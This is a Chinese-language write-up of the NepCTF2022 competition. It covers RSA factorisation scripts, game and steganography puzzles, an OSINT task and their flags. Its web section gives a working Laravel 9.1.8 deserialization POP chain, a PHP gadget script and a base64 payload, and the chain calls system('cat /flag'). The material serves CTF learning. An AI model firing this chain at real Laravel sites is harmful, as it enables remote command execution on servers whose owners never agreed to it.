【NepCTF2022】write up

前言

Nep战队的招新赛,题目还是很有意思的,难度设计也比较合理,比赛质量还不错。

CRYPTO

signin

分析加密脚本,p、q两数十分接近,用yafu做大整数分解。接下来发现本体给了c_mod_p和c_mod_d,根据描述这里用到了中国剩余定理来解出c,exp:
CRT.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: UTF-8 -*-
def Get_Mi(m_list, M): # 获取所有的Mi
M_list = []
for mi in m_list:
M_list.append(M // mi)
return M_list


def Get_ei_list(M_list, m_list): # 取所有的Mi的逆元
ei_list = []
for i in range(len(M_list)):
ei_list.append(Get_ei(M_list[i], m_list[i])[0])
return ei_list


def Get_ei(a, b):
# 计算ei

if 0 == b:
x = 1;
y = 0;
q = a
return x, y, q
xyq = Get_ei(b, a % b)
x = xyq[0];
y = xyq[1];
q = xyq[2]
temp = x;
x = y;
y = temp - a // b * y
return x, y, q


def crt(a_list, m_list):
# 计算中国剩余定理,返回计算结果
M = 1 # M是所有mi的乘积
for mi in m_list:
M *= mi
Mi_list = Get_Mi(m_list, M)
Mi_inverse = Get_ei_list(Mi_list, m_list)
x = 0
for i in range(len(a_list)): # 开始计算x
x += Mi_list[i] * Mi_inverse[i] * a_list[i]
x %= M
return x

if __name__ == '__main__':
a_list = list(map(int, input().split(",")))
m_list = list(map(int, input().split(",")))
print(crt(a_list, m_list))

运行结果:

得到c的值后,p、q、c、e均已知,解RSA即可:

1
2
3
4
5
6
7
8
9
10
11
12
import libnum

q =141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202901
p =141264221379693044160345378758459195879285464451894666001807667429134348549398732060237738374405784248735752195059908618618110595213605790125890251970818437656069617772772793421437649079362238861287098916200835889507111259332056471215428085418047179545017193159169629731673653136069647622114441162534727202891
c =11585753035364453623378164545833713948934121662572481093551492504984285077422719062455876099192809170965528989978916297975142142402092047776685650391890015591851053625214326683661927557815767412532952834312578481775648269348260126890551800182341487341482624921905494384205411870866282984671167687789838745481283560185866063970417999748309023918055613674098243729965218609202078551918246640314724590879724609275497227193516782920583249761139685192331805838597293957173545581106446048233248746840771791319643962479707861560044363232580020690857525268858245122996322707454824806268698526881569554077998480289824923073346
e = 65537
n = p * q
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
flag = libnum.n2s(pow(c,d,n))

print(flag)

Flag:NepCTF{ju5t_d0_f4ct_4nd_crt_th3n_d3crypt}

中学数学

分析加密代码,p与q的高150位是相同的,yafu直接分解比较困难,因此对这个大整数进行费马分解,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import gmpy2
from Crypto.Util.number import long_to_bytes

c = 6253975396639688013947622483271226838902346034187241970785550830715516801386404802832796746428068354515287579293520381463797045055114065533348514688044281004266071342722261719304097175009672596062130939189624163728328429608123325223000160428261082507446604698345173189268359115612698883860396660563679801383563588818099088505120717238037463747828729693649297904035253985982099474025883550074375828799938384533606092448272306356003096283602697757642323962299153853559914553690456801745940925602411053578841756504799815771173679267389055390097241148454899265156705442028845650177138185876173539754631720573266723359186
n = 13776679754786305830793674359562910178503525293501875259698297791987196248336062506951151345232816992904634767521007443634017633687862289928715870204388479258679577315915061740028494078672493226329115247979108035669870651598111762906959057540508657823948600824548819666985698501483261504641066030188603032714383272686110228221709062681957025702835354151145335986966796484545336983392388743498515384930244837403932600464428196236533563039992819408281355416477094656741439388971695931526610641826910750926961557362454734732247864647404836037293509009829775634926600458845832805085222154851310850740227722601054242115507
e = 0x10001


def factor(n):
a = gmpy2.iroot(n, 2)[0]
while 1:
B2 = pow(a, 2) - n
if gmpy2.is_square(B2):
b = gmpy2.iroot(B2, 2)[0]
p = a + b
q = a - b
return p, q
a += 1

p,q=factor(n)
f = (p - 1) * (q - 1)
d = gmpy2.invert(e, f)
print(long_to_bytes(pow(c, d, n)))

Flag:flag{never_ignore_basic_math}

WEB

Just Kidding

根据描述是Laravel,直播也提示了是最新的绕__wakeup(),所以直接找到链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}

namespace Illuminate\Broadcasting {
class PendingBroadcast {
public function __construct() {
$this->event = "cat /flag";
$this->events = new \Faker\Generator();
}
}
}

namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}

class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["dispatch"=>"system"];
$this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}


namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}

链子有4条,随便挑一挑就可以了:
Laravel 9.1.8 反序列化漏洞分析

接下来找入口,看routes\web.php:

跟进到app\Http\Controllers\HelloController.php:

找到入口为/hello,payload:

1
/hello?h3=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6OToiaDNybWVzazF0IjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjk6ImNhdCAvZmxhZyI7czo2OiJldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6Mzp7czoxMjoiACoAcHJvdmlkZXJzIjthOjA6e31zOjEzOiIAKgBmb3JtYXR0ZXJzIjtSOjI7czo5OiJmb3JtYXR0ZXIiO3M6ODoiZGlzcGF0Y2giO319fQ==

MISC

花花画画画花花

一个osz文件,osu玩家狂喜。直接下载谱面然后auto模式看谱,歌曲最后一段那部分他会把flag画给你看的。(画画还得是std模式)
Flag:NepCTF{MASTER_OF_坏女人!}

签到题

DCTris

又一题游戏题,cdi文件,根据描述是世嘉DC的游戏,那就直接找模拟器,我找的是安卓的reicast。接下来根据描述,我们的分数要超过SHRT_MAX,也就是32767分。进游戏一看,打块,那就直接打。
打了快一小时后终于打过去了,发现原来被遮挡的地方出现了一个二维码:

拼接二维码并扫码即可获取flag:

Flag:NepCTF{LetsPlayFallingBlocksGameOnDreamCast!}

少见的bbbbase

Jpg文件,直接几个常用jpg文件隐写试试,最后发现是Jphide隐写,密码为空,提取出一个base码:
KkYWdvCQcLYewSUUy5TtQc9AMa
Base58解码得到flag
Flag:flag{Real_qiandao~}

9点直播

直播间送flag
Flag:NepCTF{bad_woman_nb!}

馅饼?陷阱!

经典osint,仔细观察图片,可以发现有一个皮卡的上面有一个琼字,范围缩小到海南省。然后我们又知道这个银行和如家酒店贴贴,因此直接去百度地图海南那一片搜索如家酒店,去查看街景,最后是不负众望,找到了是如家酒店(三亚湾店):

银行名字是中国光大银行,搜索即可得到官网
Flag:NepCTF{www.cebbank.com}

问卷

填写问卷
Flag:NepCTF{see_you_NepCTF_2023}